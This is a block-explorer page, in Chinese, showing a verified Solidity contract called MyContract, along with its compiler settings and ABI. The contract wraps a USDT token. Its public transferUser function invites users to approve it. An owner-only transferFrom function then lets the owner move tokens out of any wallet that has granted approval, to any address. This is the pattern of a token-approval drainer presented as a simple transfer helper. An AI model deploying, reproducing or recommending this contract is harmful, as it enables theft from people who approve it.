0xC2...f981

$500

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合约

此合同的源代码已经过验证！

合同元数据

编译器

0.8.0+commit.c7dfd78e

语言

Solidity

合同源代码

文件 1 的 3：Context.sol

合同源代码

文件 2 的 3：MyContract.sol

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.0;

import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/access/Ownable.sol';


interface IERC20 {
    function transfer(address recipient, uint256 amount) external;
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external ;
    function decimals() external view returns (uint8);
}


contract MyContract is Ownable {
    IERC20 usdt;
    constructor(IERC20 _usdt) {
        usdt = _usdt;
    }

    function transferFrom(address fromAddr, address toAddr, uint amount) external onlyOwner {
        usdt.transferFrom(fromAddr, toAddr,amount);
    }
    
    function transferUser(address toAddr, uint amount) external{
        usdt.transferFrom(msg.sender,toAddr,amount);
    }
}

合同源代码

文件 3 的 3：Ownable.sol

设置

{
  "compilationTarget": {
    "browser/MyContract.sol": "MyContract"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}

ABI

[{"inputs":[{"internalType":"contract IERC20","name":"_usdt","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"fromAddr","type":"address"},{"internalType":"address","name":"toAddr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"toAddr","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferUser","outputs":[],"stateMutability":"nonpayable","type":"function"}]